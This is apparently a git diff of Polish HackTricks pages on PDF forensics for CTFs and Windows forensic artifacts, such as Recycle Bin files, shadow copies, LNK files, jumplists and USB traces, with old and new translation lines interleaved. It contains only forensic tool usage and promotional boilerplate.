<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
|
||||
|
||||
**Aby uzyskać dalsze szczegóły, sprawdź:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
**Aby uzyskać więcej szczegółów, sprawdź:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
Format PDF jest znany złożonością i potencjałem ukrywania danych, co czyni go punktem centralnym wyzwań z zakresu forensyki CTF. Łączy on elementy tekstu z obiektami binarnymi, które mogą być skompresowane lub zaszyfrowane, a także może zawierać skrypty w językach takich jak JavaScript lub Flash. Aby zrozumieć strukturę pliku PDF, można odwołać się do materiałów wprowadzających Didiera Stevensa [tutaj](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), lub skorzystać z narzędzi takich jak edytor tekstu lub edytor specyficzny dla plików PDF, takich jak Origami.
|
||||
Format PDF jest znany ze swojej złożoności i potencjału do ukrywania danych, co czyni go punktem centralnym dla wyzwań w zakresie forensyki CTF. Łączy elementy tekstowe z obiektami binarnymi, które mogą być skompresowane lub zaszyfrowane, i mogą zawierać skrypty w językach takich jak JavaScript lub Flash. Aby zrozumieć strukturę PDF, można odwołać się do [materiałów wprowadzających Didier'a Stevens'a](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), lub użyć narzędzi takich jak edytor tekstu lub edytor specyficzny dla PDF, taki jak Origami.
|
||||
|
||||
Dla dogłębnego badania lub manipulacji plików PDF dostępne są narzędzia takie jak [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Ukryte dane w plikach PDF mogą być ukryte w:
|
||||
Do dogłębnego badania lub manipulacji plikami PDF dostępne są narzędzia takie jak [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Ukryte dane w plikach PDF mogą być ukryte w:
|
||||
|
||||
* Niewidocznych warstwach
|
||||
* Formacie metadanych XMP firmy Adobe
|
||||
* Generacjach inkrementalnych
|
||||
* Tekście o tym samym kolorze co tło
|
||||
* Formacie metadanych XMP od Adobe
|
||||
* Inkrementalnych generacjach
|
||||
* Tekście w tym samym kolorze co tło
|
||||
* Tekście za obrazami lub nakładających się obrazach
|
||||
* Komentarzach niewyświetlanych
|
||||
* Niewyświetlanych komentarzach
|
||||
|
||||
Dla niestandardowej analizy plików PDF można użyć bibliotek Pythona, takich jak [PeepDF](https://github.com/jesparza/peepdf), aby tworzyć spersonalizowane skrypty analizy. Ponadto potencjał plików PDF do przechowywania ukrytych danych jest tak duży, że zasoby takie jak przewodnik NSA dotyczący zagrożeń i środków zaradczych związanych z plikami PDF, chociaż nie są już hostowane na swojej pierwotnej lokalizacji, nadal oferują cenne spostrzeżenia. [Kopia przewodnika](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) oraz zbiór [sztuczek związanych z formatem PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) autorstwa Ange Albertini mogą stanowić dodatkową lekturę na ten temat.
|
||||
Do niestandardowej analizy PDF można użyć bibliotek Pythona, takich jak [PeepDF](https://github.com/jesparza/peepdf), aby stworzyć własne skrypty do analizy. Ponadto potencjał PDF do przechowywania ukrytych danych jest tak ogromny, że zasoby takie jak przewodnik NSA dotyczący ryzyk i środków zaradczych związanych z PDF, chociaż już niehostowany w pierwotnej lokalizacji, nadal oferują cenne informacje. [Kopia przewodnika](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) oraz zbiór [sztuczek formatu PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) autorstwa Ange Albertini mogą dostarczyć dalszej lektury na ten temat.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,99 +1,100 @@
|
|||
# Artefakty systemu Windows
|
||||
# Windows Artifacts
|
||||
|
||||
## Artefakty systemu Windows
|
||||
## Windows Artifacts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ogólne artefakty systemu Windows
|
||||
## Generic Windows Artifacts
|
||||
|
||||
### Powiadomienia systemu Windows 10
|
||||
### Windows 10 Notifications
|
||||
|
||||
W ścieżce `\Users\<nazwa_użytkownika>\AppData\Local\Microsoft\Windows\Notifications` znajduje się baza danych `appdb.dat` (przed rocznicą systemu Windows) lub `wpndatabase.db` (po rocznicy systemu Windows).
|
||||
W ścieżce `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` można znaleźć bazę danych `appdb.dat` (przed rocznicą Windows) lub `wpndatabase.db` (po rocznicy Windows).
|
||||
|
||||
Wewnątrz tej bazy danych SQLite znajduje się tabela `Notification` z wszystkimi powiadomieniami (w formacie XML), które mogą zawierać interesujące dane.
|
||||
Wewnątrz tej bazy danych SQLite można znaleźć tabelę `Notification` z wszystkimi powiadomieniami (w formacie XML), które mogą zawierać interesujące dane.
|
||||
|
||||
### Linia czasu
|
||||
### Timeline
|
||||
|
||||
Linia czasu to charakterystyka systemu Windows, która zapewnia **chronologiczną historię** odwiedzonych stron internetowych, edytowanych dokumentów i uruchomionych aplikacji.
|
||||
Timeline to cecha Windows, która zapewnia **chronologiczną historię** odwiedzanych stron internetowych, edytowanych dokumentów i uruchamianych aplikacji.
|
||||
|
||||
Baza danych znajduje się w ścieżce `\Users\<nazwa_użytkownika>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Tę bazę danych można otworzyć za pomocą narzędzia SQLite lub narzędzia [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd), **które generuje 2 pliki, które można otworzyć za pomocą narzędzia** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
Baza danych znajduje się w ścieżce `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Ta baza danych może być otwarta za pomocą narzędzia SQLite lub za pomocą narzędzia [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **które generuje 2 pliki, które można otworzyć za pomocą narzędzia** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
### Strumienie danych alternatywnych (ADS)
|
||||
### ADS (Alternate Data Streams)
|
||||
|
||||
Pliki pobrane mogą zawierać **strefę danych alternatywnych (ADS) Zone.Identifier**, wskazującą **sposób** pobrania pliku z sieci wewnętrznej, internetu itp. Niektóre oprogramowanie (np. przeglądarki) zazwyczaj umieszczają nawet **więcej** **informacji**, takich jak **adres URL**, z którego pobrano plik.
|
||||
Pobrane pliki mogą zawierać **ADS Zone.Identifier**, wskazujący **jak** został **pobrany** z intranetu, internetu itp. Niektóre oprogramowanie (jak przeglądarki) zazwyczaj dodaje nawet **więcej** **informacji**, takich jak **URL**, z którego plik został pobrany.
|
||||
|
||||
## **Kopie zapasowe plików**
|
||||
## **File Backups**
|
||||
|
||||
### Kosz
|
||||
### Recycle Bin
|
||||
|
||||
W systemach Vista/Win7/Win8/Win10 **Kosz** znajduje się w folderze **`$Recycle.bin`** w głównym katalogu dysku (`C:\$Recycle.bin`).\
|
||||
Gdy plik jest usuwany z tego folderu, tworzone są 2 konkretne pliki:
|
||||
W Vista/Win7/Win8/Win10 **Kosz** można znaleźć w folderze **`$Recycle.bin`** w głównym katalogu dysku (`C:\$Recycle.bin`).\
|
||||
Gdy plik jest usuwany w tym folderze, tworzone są 2 specyficzne pliki:
|
||||
|
||||
* `$I{id}`: Informacje o pliku (data usunięcia}
|
||||
* `$I{id}`: Informacje o pliku (data, kiedy został usunięty)
|
||||
* `$R{id}`: Zawartość pliku
|
||||
|
||||
![](<../../../.gitbook/assets/image (1029).png>)
|
||||
|
||||
Posiadając te pliki, można użyć narzędzia [**Rifiuti**](https://github.com/abelcheung/rifiuti2), aby uzyskać oryginalny adres usuniętych plików i datę usunięcia (użyj `rifiuti-vista.exe` dla Vista – Win10).
|
||||
Mając te pliki, można użyć narzędzia [**Rifiuti**](https://github.com/abelcheung/rifiuti2), aby uzyskać oryginalny adres usuniętych plików oraz datę ich usunięcia (użyj `rifiuti-vista.exe` dla Vista – Win10).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||
|
||||
### Kopie woluminów cieni
|
||||
### Kopie zapasowe Shadow
|
||||
|
||||
Shadow Copy to technologia zawarta w systemie Microsoft Windows, która może tworzyć **kopie zapasowe** lub migawki plików lub woluminów komputerowych, nawet gdy są one w użyciu.
|
||||
Kopia zapasowa Shadow to technologia zawarta w systemie Microsoft Windows, która może tworzyć **kopie zapasowe** lub migawki plików lub woluminów komputerowych, nawet gdy są one używane.
|
||||
|
||||
Te kopie zapasowe zazwyczaj znajdują się w `\System Volume Information` z poziomu systemu plików, a nazwa jest złożona z **UID**, jak pokazano na poniższym obrazku:
|
||||
Te kopie zapasowe zazwyczaj znajdują się w `\System Volume Information` z katalogu głównego systemu plików, a ich nazwa składa się z **UID-ów** pokazanych na poniższym obrazie:
|
||||
|
||||
![](<../../../.gitbook/assets/image (94).png>)
|
||||
|
||||
Montując obraz forensyczny za pomocą **ArsenalImageMounter**, narzędzie [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) można użyć do sprawdzenia kopii cienia i nawet **wyodrębnienia plików** z kopii zapasowych cienia.
|
||||
Montaż obrazu forensycznego za pomocą **ArsenalImageMounter**, narzędzie [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) może być użyte do inspekcji kopii zapasowej shadow i nawet **wyodrębnienia plików** z kopii zapasowych shadow.
|
||||
|
||||
![](<../../../.gitbook/assets/image (576).png>)
|
||||
|
||||
Wpisy rejestru `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` zawierają pliki i klucze **do nie tworzenia kopii zapasowych**:
|
||||
Wpis rejestru `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` zawiera pliki i klucze **do niekopiowania**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (254).png>)
|
||||
|
||||
Rejestr `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` zawiera również informacje konfiguracyjne dotyczące `Kopii Woluminów Cieni`.
|
||||
Rejestr `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` zawiera również informacje konfiguracyjne dotyczące `Kopii zapasowych Shadow`.
|
||||
|
||||
### Pliki automatycznie zapisane w programach Office
|
||||
### Automatycznie zapisywane pliki Office
|
||||
|
||||
Pliki automatycznie zapisane w programach Office można znaleźć w: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
Możesz znaleźć automatycznie zapisywane pliki Office w: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Elementy powłoki
|
||||
|
||||
Element powłoki to element zawierający informacje o tym, jak uzyskać dostęp do innego pliku.
|
||||
Element powłoki to element, który zawiera informacje o tym, jak uzyskać dostęp do innego pliku.
|
||||
|
||||
### Ostatnie dokumenty (LNK)
|
||||
|
||||
System Windows **automatycznie tworzy** te **skróty** gdy użytkownik **otwiera, używa lub tworzy plik** w:
|
||||
Windows **automatycznie** **tworzy** te **skrót** gdy użytkownik **otwiera, używa lub tworzy plik** w:
|
||||
|
||||
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
Gdy utworzony zostanie folder, tworzony jest również link do folderu, do folderu nadrzędnego i do folderu dziadka.
|
||||
Gdy folder jest tworzony, tworzony jest również link do folderu, do folderu nadrzędnego i folderu dziadka.
|
||||
|
||||
Te automatycznie tworzone pliki linków **zawierają informacje o pochodzeniu**, czy to jest **plik** **czy** **folder**, **czasy MAC** tego pliku, **informacje o woluminie**, gdzie plik jest przechowywany oraz **folder docelowy pliku**. Te informacje mogą być przydatne do odzyskania tych plików w przypadku ich usunięcia.
|
||||
Te automatycznie tworzone pliki linków **zawierają informacje o pochodzeniu**, takie jak czy to jest **plik** **czy** **folder**, **czasy MAC** tego pliku, **informacje o woluminie** gdzie plik jest przechowywany oraz **folder pliku docelowego**. Te informacje mogą być przydatne do odzyskania tych plików w przypadku ich usunięcia.
|
||||
|
||||
Ponadto **data utworzenia linku** to pierwszy **czas**, kiedy oryginalny plik został **pierwszy** **raz** **użyty**, a **data** **modyfikacji** linku to **ostatni** **czas**, kiedy plik źródłowy był używany.
|
||||
Ponadto, **data utworzenia linku** to pierwszy **raz**, kiedy oryginalny plik był **po raz pierwszy** **używany**, a **data** **zmodyfikowana** pliku linku to **ostatni** **raz**, kiedy plik źródłowy był używany.
|
||||
|
||||
Aby sprawdzić te pliki, można użyć [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
Aby zbadać te pliki, możesz użyć [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
|
||||
W tym narzędziu znajdziesz **2 zestawy** znaczników czasowych:
|
||||
W tym narzędziu znajdziesz **2 zestawy** znaczników czasu:
|
||||
|
||||
* **Pierwszy zestaw:**
|
||||
1. FileModifiedDate
|
||||
|
@ -104,172 +105,175 @@ W tym narzędziu znajdziesz **2 zestawy** znaczników czasowych:
|
|||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
||||
Pierwszy zestaw znaczników czasowych odnosi się do **znaczników czasowych samego pliku**. Drugi zestaw odnosi się do **znaczników czasowych połączonego pliku**.
|
||||
Pierwszy zestaw znaczników czasu odnosi się do **znaczników czasu samego pliku**. Drugi zestaw odnosi się do **znaczników czasu pliku linku**.
|
||||
|
||||
Można uzyskać te same informacje uruchamiając narzędzie wiersza poleceń systemu Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||
Możesz uzyskać te same informacje, uruchamiając narzędzie CLI Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
In this case, the information is going to be saved inside a CSV file.
|
||||
|
||||
### Jumplists
|
||||
|
||||
To są ostatnie pliki wskazane dla każdej aplikacji. To lista **ostatnio używanych plików przez aplikację**, do której można uzyskać dostęp w każdej aplikacji. Mogą być tworzone **automatycznie lub niestandardowo**.
|
||||
To są ostatnie pliki, które są wskazywane dla każdej aplikacji. To lista **ostatnich plików używanych przez aplikację**, do której możesz uzyskać dostęp w każdej aplikacji. Mogą być tworzone **automatycznie lub być dostosowane**.
|
||||
|
||||
**Jumplisty** tworzone automatycznie są przechowywane w `C:\Users\{nazwa_użytkownika}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplisty są nazwane zgodnie z formatem `{id}.autmaticDestinations-ms`, gdzie początkowe ID to ID aplikacji.
|
||||
**Jumplisty** tworzone automatycznie są przechowywane w `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplisty są nazwane według formatu `{id}.autmaticDestinations-ms`, gdzie początkowy ID to ID aplikacji.
|
||||
|
||||
Niestandardowe jumplisty są przechowywane w `C:\Users\{nazwa_użytkownika}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i są tworzone przez aplikację zazwyczaj dlatego, że coś jest **ważnego** związane z plikiem (być może oznaczone jako ulubione).
|
||||
Dostosowane jumplisty są przechowywane w `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i są tworzone przez aplikację zazwyczaj, ponieważ coś **ważnego** wydarzyło się z plikiem (może oznaczone jako ulubione).
|
||||
|
||||
**Czas utworzenia** dowolnego jumplista wskazuje **pierwszy raz, gdy plik był otwierany** oraz **czas modyfikacji ostatni raz**.
|
||||
**Czas utworzenia** dowolnego jumplista wskazuje **pierwszy czas, kiedy plik był otwarty** oraz **czas modyfikacji ostatni raz**.
|
||||
|
||||
Możesz sprawdzić jumplisty za pomocą [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
Możesz sprawdzić jumplisty używając [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
![](<../../../.gitbook/assets/image (168).png>)
|
||||
|
||||
(_Zauważ, że znaczniki czasowe dostarczone przez JumplistExplorer odnoszą się do samego pliku jumplista_)
|
||||
(_Zauważ, że znaczniki czasowe podane przez JumplistExplorer odnoszą się do samego pliku jumplist_)
|
||||
|
||||
### Shellbags
|
||||
|
||||
[**Kliknij ten link, aby dowiedzieć się, co to są shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
||||
[**Śledź ten link, aby dowiedzieć się, czym są shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Użycie urządzeń USB w systemie Windows
|
||||
## Użycie USB w systemie Windows
|
||||
|
||||
Możliwe jest zidentyfikowanie, że urządzenie USB zostało użyte dzięki utworzeniu:
|
||||
Możliwe jest zidentyfikowanie, że urządzenie USB było używane dzięki utworzeniu:
|
||||
|
||||
* Folderu Ostatnie w systemie Windows
|
||||
* Folderu Ostatnie w programie Microsoft Office
|
||||
* Folderu Ostatnie w Microsoft Office
|
||||
* Jumplistów
|
||||
|
||||
Zauważ, że niektóre pliki LNK zamiast wskazywać na oryginalną ścieżkę, wskazują na folder WPDNSE:
|
||||
|
||||
![](<../../../.gitbook/assets/image (218).png>)
|
||||
|
||||
Pliki w folderze WPDNSE są kopią oryginalnych plików, więc nie przetrwają restartu komputera, a GUID jest pobierany z shellbaga.
|
||||
Pliki w folderze WPDNSE są kopią oryginalnych, więc nie przetrwają ponownego uruchomienia PC, a GUID jest pobierany z shellbag.
|
||||
|
||||
### Informacje z rejestru
|
||||
### Informacje rejestru
|
||||
|
||||
[Sprawdź tę stronę, aby dowiedzieć się](interesting-windows-registry-keys.md#usb-information), które klucze rejestru zawierają interesujące informacje o podłączonych urządzeniach USB.
|
||||
|
||||
### setupapi
|
||||
|
||||
Sprawdź plik `C:\Windows\inf\setupapi.dev.log`, aby uzyskać znaczniki czasu, kiedy nastąpiło połączenie USB (szukaj `Section start`).
|
||||
Sprawdź plik `C:\Windows\inf\setupapi.dev.log`, aby uzyskać znaczniki czasowe dotyczące momentu, w którym połączenie USB zostało nawiązane (szukaj `Section start`).
|
||||
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
|
||||
### Detektyw USB
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com) można użyć do uzyskania informacji o urządzeniach USB, które były podłączone do obrazu.
|
||||
[**USBDetective**](https://usbdetective.com) może być używany do uzyskania informacji o urządzeniach USB, które były podłączone do obrazu.
|
||||
|
||||
![](<../../../.gitbook/assets/image (452).png>)
|
||||
|
||||
### Czyszczenie wtyczki i gry
|
||||
### Czyszczenie Plug and Play
|
||||
|
||||
Zaplanowane zadanie znane jako 'Czyszczenie wtyczki i gry' jest przeznaczone głównie do usuwania przestarzałych wersji sterowników. Wbrew określonym celom zachowania najnowszej wersji pakietu sterowników, źródła internetowe sugerują, że celuje również w sterowniki, które były nieaktywne przez 30 dni. W rezultacie sterowniki dla urządzeń wymiennych niepodłączonych w ciągu ostatnich 30 dni mogą zostać usunięte.
|
||||
Zadanie zaplanowane znane jako 'Czyszczenie Plug and Play' jest głównie zaprojektowane do usuwania przestarzałych wersji sterowników. Wbrew swojemu określonemu celowi, aby zachować najnowszą wersję pakietu sterowników, źródła online sugerują, że celuje również w sterowniki, które były nieaktywne przez 30 dni. W związku z tym, sterowniki dla urządzeń przenośnych, które nie były podłączone w ciągu ostatnich 30 dni, mogą być poddane usunięciu.
|
||||
|
||||
Zadanie znajduje się pod ścieżką: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
Zadanie znajduje się pod następującą ścieżką: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
Zamieszczono zrzut ekranu przedstawiający zawartość zadania: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||
Zrzut ekranu przedstawiający zawartość zadania jest dostarczony: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||
|
||||
**Kluczowe składniki i ustawienia zadania:**
|
||||
**Kluczowe komponenty i ustawienia zadania:**
|
||||
|
||||
* **pnpclean.dll**: Ta biblioteka DLL jest odpowiedzialna za rzeczywisty proces czyszczenia.
|
||||
* **UseUnifiedSchedulingEngine**: Ustawione na `TRUE`, wskazujące na użycie ogólnego silnika harmonogramowania zadań.
|
||||
* **pnpclean.dll**: Ten DLL jest odpowiedzialny za rzeczywisty proces czyszczenia.
|
||||
* **UseUnifiedSchedulingEngine**: Ustawione na `TRUE`, co wskazuje na użycie ogólnego silnika planowania zadań.
|
||||
* **MaintenanceSettings**:
|
||||
* **Okres ('P1M')**: Nakazuje Harmonogramowi zadań uruchomienie zadania czyszczenia miesięcznie podczas regularnego konserwacji automatycznej.
|
||||
* **Termin ('P2M')**: Instruuje Harmonogram zadań, że w przypadku dwóch kolejnych niepowodzeń zadania, ma ono zostać wykonane podczas awaryjnej konserwacji automatycznej.
|
||||
* **Okres ('P1M')**: Nakazuje Harmonogramowi Zadań uruchomienie zadania czyszczenia co miesiąc podczas regularnej automatycznej konserwacji.
|
||||
* **Termin ('P2M')**: Nakazuje Harmonogramowi Zadań, jeśli zadanie nie powiedzie się przez dwa kolejne miesiące, aby wykonać zadanie podczas awaryjnej automatycznej konserwacji.
|
||||
|
||||
